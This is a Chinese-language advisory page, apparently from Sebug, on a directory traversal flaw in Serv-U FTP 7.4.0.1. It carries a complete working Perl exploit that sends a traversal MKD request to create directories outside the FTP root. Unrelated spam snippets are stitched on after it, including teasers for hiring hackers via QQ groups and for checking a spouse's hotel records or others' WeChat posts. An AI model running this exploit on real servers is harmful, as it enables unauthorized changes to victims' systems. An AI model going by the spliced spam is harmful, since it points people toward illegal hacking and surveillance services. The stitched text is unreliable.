影响版本:
RhinoSoft Serv-U 7.4.0.1
漏洞描述:
BUGTRAQ ID: 34125
Serv-U FTP是一款FTP服务程序。
如果远程攻击者向Serv-U FTP服务器发送了包含有“\\..”字符序列的MKD请求的话,就可以通过目录遍历攻击绕过FTP root限制在系统上创建任意目录。<*参考
Jonathan Salwan (submit@shell-storm.org)
http://www.sebug.net/exploit/5986/
*>
SEBUG安全建议:
厂商补丁:
RhinoSoft
---------
目前厂商还没有提供补丁或者升级程序,我们建议使用此软件的用户随时关注厂商的主页以获取最新版本:
http://www.serv-u.com/
测试 *** :
[www.sebug.net]
本站提供程序( *** )可能带有攻击性,仅供安全研究与教学之用,风险自负!
#!/usr/bin/perl
# Soft : FTP Serv-U
# Version : v7.4.0.1
#
# A vulnerability is caused due to an input validation error when handling FTP "MKD"
# requests. This can be exploited to escape the FTP root and create arbitrary directory on
# the system via directory traversal attacks using the "\.." character sequence.
#
#
# Author: Jonathan Salwan
# Mail: submit [AT] shell-storm.org
# Web: http://www.shell-storm.org
use IO::Socket;
print "[+] Author : Jonathan Salwan \n";
print "[+] Soft: FTP Serv-U\n";
if (@ARGV < 4)
{
print "[*] Usage: <serv-u.pl> <host> <port> <user> <pass> <dir>\n";
print "[*] Exemple: guildftp.pl 127.0.0.1 21 jonathan toto ..\\\\dir\n";
exit;
}
$ip = $ARGV[0];
$port = $ARGV[1];
$user = $ARGV[2];
$pass = $ARGV[3];
$dir = $ARGV[4];
$socket = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$ip", PeerPort => "$port") || die "\n[-] Connecting: Failed!\n";
print "\n[+] Connecting: Ok!\n";
print "[+] Sending request...\n";
print $socket "USER $user\r\n";
print $socket "PASS $pass\r\n";
print $socket "MKD $dir\r\n";
sleep(3);
close($socket);
print "[+]Done! directory $dir has been created\n";
怎样查询老公住酒店记录_开酒店记录多久消失 一、前言2017至2018年,卡巴斯基实验室的专家被邀请研究一系列网络窃取相关事件,通过研究,我们发现这些事件都有一个共同的特征:即都包含一个连接到公司本...
网络棋牌游戏在国内是一个非常热门的行业,同时也是网络游戏中投资少,获利高的行业,因此很多人都想想要投资做棋牌游戏。不仅前期的棋牌游戏开发需谨慎,而且后期运营过程中服务器的维护一定要加以重视。众所周知,...
能免费接单的黑客QQ群 联系黑客接单网站真正的黑客联系方式,一位黑客应用潜藏的Wi-Fi芯片开辟了一条闪电电缆,以考证这一律念,以分析不受信托的附件大概组成的威逼。该芯片容许黑客掌握Mac。 能免费...
喜欢打麻将的人都知道,不少地方为了图个省事,把麻将原本有的风张给取消了。真的,可别小看这个不起眼的举动,他能让牌局变得简单许多,胡牌速度更是得以提升,有时让人难以预料。昨天晚上,全家决定打牌。孩子提议...
第1个 LV5个月前首播时间9月2日 第2个 LV5个月前已经出了,9月2号 第3个 LV5个月前日本首播时间是9月2日。 第4个 5个月前9月2日 第5个 LV5个月前11月份会出...
想必很多人都遇到过这种问题,就是自己喜欢的某个人对自己只是显示三天可观看朋友圈。这就会导致我们非常的无奈,想多了解一下这个人的信息以及日常的生活状态,都没有地方可以查询得到。于是很多人在网上看到一些传...